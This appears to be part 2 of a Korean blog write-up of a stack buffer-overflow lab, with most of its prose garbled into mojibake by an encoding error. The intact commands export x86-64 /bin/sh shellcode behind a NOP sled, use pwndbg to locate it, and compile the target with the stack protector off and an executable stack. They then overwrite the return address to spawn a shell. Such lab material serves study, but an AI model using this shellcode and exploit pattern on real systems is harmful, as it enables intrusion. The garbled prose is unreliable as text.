๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

ํ”„๋กœ์ ํŠธ/์‹œ์Šคํ…œ ํ•ดํ‚น

[์‹œ์Šคํ…œ ํ•ดํ‚น] ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์  ํ•ดํ‚น ์‹ค์Šต (2)

728x90

2023.01.25 - [ํ”„๋กœ์ ํŠธ/์‹œ์Šคํ…œ ํ•ดํ‚น] - [์‹œ์Šคํ…œ ํ•ดํ‚น] ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์  ํ•ดํ‚น ์‹ค์Šต (1)

 

[์‹œ์Šคํ…œ ํ•ดํ‚น] ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์  ํ•ดํ‚น ์‹ค์Šต (1)

https://youtu.be/ZRHncXwedZ8 ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์  ํ•ดํ‚น ์‹ค์Šต์„ ์œ ํŠœ๋ธŒ๋ฅผ ๋ณด๋ฉฐ ๊ณต๋ถ€ํ•œ๋‹ค. #nano overflow.c ํ•˜๋‚˜์˜ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•œ๋‹ค. #include int main(int argc, char *argv[]){ char buf[16]; if(argc!=2) return -1; strcpy

dangsdangs.tistory.com

์ด์ „ ๊ธ€์— ์ด์–ด์„œ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์  ํ•ดํ‚น ์‹ค์Šต์„ ๊ณ„์† ๊ณต๋ถ€ํ•œ๋‹ค.

https://youtu.be/e1H8heGtutI

ํ•ด๋‹น ์œ ํŠœ๋ธŒ ์˜์ƒ์„ ๋ณด๋ฉด์„œ ์‹ค์Šตํ•ด๋ณด๋„๋ก ํ•œ๋‹ค.


#export SHELLCODE=`perl -e 'print "\x90" x 2000, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ์‰˜ ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด๋ณธ๋‹ค.

ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์ž์ฒด์— ์‰˜ ์ฝ”๋“œ๋ฅผ ์‹ฌ๋Š” ๊ฒƒ์ธ๋ฐ, ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋” ์‰ฝ๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด

์‰˜์ฝ”๋“œ ์•ž์— ์ž„์˜์˜ ๋ฌธ์ž๋ฅผ ๋„ฃ๋Š”๋‹ค.

"\x90" ์ด๋ผ๋Š” NOP๋ฅผ ์ด 2000๊ฐœ ๋„ฃ๋Š”๋‹ค.

 

๋’ค์˜ ์‰˜ ์ฝ”๋“œ๋Š”

2023.01.20 - [ํ”„๋กœ์ ํŠธ/์‹œ์Šคํ…œ ํ•ดํ‚น] - [์‹œ์Šคํ…œ ํ•ดํ‚น] ์‰˜ ์ฝ”๋“œ ์ œ์ž‘ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹ค์Šต

 

[์‹œ์Šคํ…œ ํ•ดํ‚น] ์‰˜ ์ฝ”๋“œ ์ œ์ž‘ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹ค์Šต

์ฐธ๊ณ  : https://youtu.be/eJWlg-VoCBg ์œ ํŠœ๋ธŒ๋ฅผ ๋ณด๋ฉด์„œ, ์‰˜ ์ฝ”๋“œ๋ฅผ ์ œ์ž‘ํ•˜๊ณ , ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹ค์Šตํ•ด๋ณด๋ ค๊ณ  ํ•œ๋‹ค. ์‰˜ ์ฝ”๋“œ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡์ด๋ž€ ์šฉ์–ด๋Š” ๋ณด์•ˆ๊ธฐ์‚ฌ ์ค€๋น„์‹œ ๋งŽ์ด ๋“ค์–ด๋ดค๋‹ค. ์‰˜ ์ฝ”๋“œ๋Š” ๋ช…๋ น ์‰˜ ๊ณต

dangsdangs.tistory.com

 

 


#gdb ./overflow

๋””๋ฒ„๊น…์„ ํ•ด๋ณด๋„๋ก ํ•œ๋‹ค.

pwndbg> break * main

์‹คํ–‰์ด ๋˜๋ฉด breakpoint๋ฅผ main์—๋‹ค๊ฐ€ ๊ฑด๋‹ค.

pwndbg> run

๊ทธ ํ›„ run ์„ ์ž…๋ ฅํ•ด ์‹คํ–‰์„ ํ•œ๋‹ค.

pwndbg> x/100a $rsp

ํ•ด๋‹น ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด rsp ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด

9090.. ์ด ๋‹ด๊ฒจ์žˆ๋Š” ๋ถ€๋ถ„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

0x90๋“ค์ด ๋๋‚˜๋ฉด ๊ทธ ๋‹ค์Œ ์ž‘์„ฑํ–ˆ๋˜ ์‰˜ ์ฝ”๋“œ๊ฐ€ ๋‹ด๊ฒจ์žˆ๋‹ค.

์™ผ์ชฝ์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๋ณด๊ณ , ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋กœ ๋ฆฌํ„ดํ•˜๋„๋ก ๋งŒ๋“ค์–ด ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

pwndbg>quit

pwndbg๋ฅผ ์ข…๋ฃŒํ•˜๋„๋ก ํ•œ๋‹ค.

 

# gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack overflow.c -o overflow

๊ทธ ํ›„ ์Šคํƒ ํ”„๋กœํ…ํ„ฐ๋ฅผ ์‹ค์Šต์„ ์œ„ํ•ด ๊บผ์ฃผ๋„๋ก ํ•œ๋‹ค.

 

perl์„ ์ด์šฉํ•ด ์ž๋™์œผ๋กœ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋„ฃ์–ด์ฃผ๋„๋ก ํ•˜๊ณ ,

์œ„์˜ ๋ฒ„ํผ ์ค‘ 0x7f..ef88์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์ด์šฉํ•ด ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•œ๋‹ค.

๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋Š” ์‚ฌ๋žŒ๋งˆ๋‹ค ๋‹ค๋ฅผ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ•œ๋‹ค.

 

# ./overflow `perl -e 'print "X" x 24, "\x88\xef\xff\xff\xff\x7f"'`

ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๋’ค์—์„œ๋ถ€ํ„ฐ ๋‘์ž๋ฆฌ์‹ ๋„ฃ์–ด์ฃผ๋ฉด,

์„ฑ๊ณต์ ์œผ๋กœ ์‰˜์„ ๋”ฐ๋‚ผ ์ˆ˜ ์žˆ๋‹ค.